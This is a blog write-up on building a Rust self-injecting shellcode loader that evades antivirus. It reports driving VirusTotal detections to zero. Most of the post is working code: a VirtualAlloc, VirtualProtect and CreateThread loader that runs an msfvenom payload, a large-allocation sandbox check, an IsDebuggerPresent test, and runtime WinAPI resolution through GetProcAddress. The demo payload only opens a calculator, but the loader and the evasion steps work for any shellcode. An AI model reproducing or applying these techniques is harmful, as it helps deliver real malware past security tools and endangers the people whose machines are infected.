Page cover image

ZeroTotal: Rusty Calc

The quest to achieve an undetectable self-injecting calc implant using Rust

Part One: Introduction

We've spent the past couple of weeks investigating the use of malicious code implemented in Rust to bypass AV engines. We've been very successful in achieving malicious code execution with fairly little effort so it only makes sense to take to next level and achieve 0-total detections on VirusTotal.

Part Two: The Code

We start with a pretty standard self-injecting implant implemented in rust. The code is below.

Note: In this implementation we're primiarily using a standard MSFVenom payload.

// Self-Injecting Rust Implant, using windows_sys crate
// by 0xTriboulet
use std::process;
use std::ffi::c_void;
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::Foundation::GetLastError;
use windows_sys::Win32::Security::SECURITY_ATTRIBUTES;
use windows_sys::Win32::System::LibraryLoader::{GetModuleHandleA,GetProcAddress};
use windows_sys::Win32::System::Threading::{CreateThread,WaitForSingleObject,LPTHREAD_START_ROUTINE,THREAD_CREATION_FLAGS};
use windows_sys::Win32::System::Memory::{VirtualAlloc,VirtualProtectMEM_COMMIT,MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ, PAGE_PROTECTION_FLAGS};
use std::ptr;
type DWORD = u32;
#[allow(non_snake_case)]
fn main(){
    //msfvenom -p windows/x64/exec CMD="calc.exe"
    let payload : [u8;276] = […snip…];
    let buffer;
    let buffer_size = 1000000000;
    unsafe {
      buffer = libc::malloc(buffer_size);
      libc::memset(buffer, 69, buffer_size);
    };
    if  true {
    // allocate memory
      unsafe{
        let base_addr: *mut c_void= VirtualAlloc(
            ptr::null_mut(),
            payload.len().try_into().unwrap(),
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE
        );
    
        if base_addr.is_null() { 
            println!("[-] Couldn't allocate memory to current proc.")
        }
    
        // copy memory
        std::ptr::copy(payload.as_ptr() as  _, base_addr, payload.len());
        let mut old_protect: DWORD = PAGE_READWRITE;
        
        //make memory executable
        let virtual_protect = VirtualProtect (
            base_addr,
            payload.len() as usize,
            PAGE_EXECUTE_READ,
            &mut old_protect
        );
        if virtual_protect.is_null() {
            let error = GetLastError();
            println!("[-] Error: {}", error.to_string());
            process::exit(0x01);
        }
        
        //create thread
        let mut tid = 0;
        let ep: extern "system" fn(*mut c_void) -> u32 = { std::mem::transmute(base_addr) };
        let h_thread = CreateThread(
            ptr::null_mut(),
            0,
            Some(ep),
            ptr::null_mut(),
            0,
            &mut tid
        );
        if h_thread == 0 {
            let error = GetLastError();
            println!("{}", error.to_string())
        
        }
        
        let status = WaitForSingleObject(h_thread, u32::MAX);
        if status != 0 {
            let error = GetLastError();
            println!("{}", error.to_string())
        }
        libc::free(buffer);
      }
    }
}

We receive some very encouraging results and only receive 4 detections!

Lets use the custom calc payload that we developed a couple of weeks ago and see if we get better results.

That change gets us down to 3 detections!

Here I decided to implement some anti-debugging techniques but results were mixed. I couldn't consistently evade less than three. I left the anti-debugging code in the final product, but it wasn't very useful in this case:

    unsafe {
      buffer = libc::malloc(buffer_size);
      libc::memset(buffer, 69, buffer_size);
    };
    if unsafe {IsDebuggerPresent()} == 0 && !buffer.is_null(){

At this point I decided to try something. If we look back on our self-injecting calc executable, we remember that if we compile our binary dynamically, we are likely to get better results. Additionally, we turn off optimizations to facilitate ensure the compiler does not optimize away our obfuscation techniques We can combine that knowledge with our knowledge of WinAPI pointers and implement them in Rust like so:

type VirtualAllocFn = unsafe extern "system" fn(*const c_void, usize, u32, u32) -> *mut c_void;
let _pVirtualAlloc = GetProcAddress(GetModuleHandleA(sKernel32.as_ptr()), sVirtualAlloc.as_ptr()).unwrap();
let pVirtualAlloc: VirtualAllocFn = std::mem::transmute(_pVirtualAlloc);
let base_addr: *mut c_void= pVirtualAlloc(
  ptr::null_mut(),
  payload.len().try_into().unwrap(),
  MEM_COMMIT | MEM_RESERVE,
  PAGE_READWRITE
);

If we implement WinAPI pointers for VirtualAlloc, VirtualProtect, and CreateThread we get pretty good results, even if we use a standard MSFvenom payload!

Now if we implement instead use our custom calc payload, we achieve 0-total!

Part Three: Going a little bit further

There's something I noticed during this writeup that's worth mentioning: moving our payload into an unsafe block of code makes it less detectable! In the scan below we used a standard MSFVenom calc payload combined with the anti-debugging techniques and WinAPI pointers described above. But in this case, the MSFVenom payload is enclosed in an "unsafe" block of code.

This technique is so effective, that we can turn off our anti debugging, and simply place a standard msfvenom calc in a block of code marked as "unsafe" and we can achieve 0 detections using WinAPI pointers alone!

Code:

Results:

Part Four: Conclusion

In this writeup, we discovered an easy bypass to achieve undetectability on VirusTotal through the use of WinAPI pointers and unsafe code blocks. Anti-debugging techniques provided less protection against AV engines than we have previously seen.

The novelty of Rust malware, and the differences in memory management create a significantly different set of behavior in Rust binaries that AV engines do not seem well prepared to detect. Additionally, unsafe code blocks proved especially effective at making payloads less detectable.

As always, the final version of my evasion code can be found on my GitHub.

References

Last updated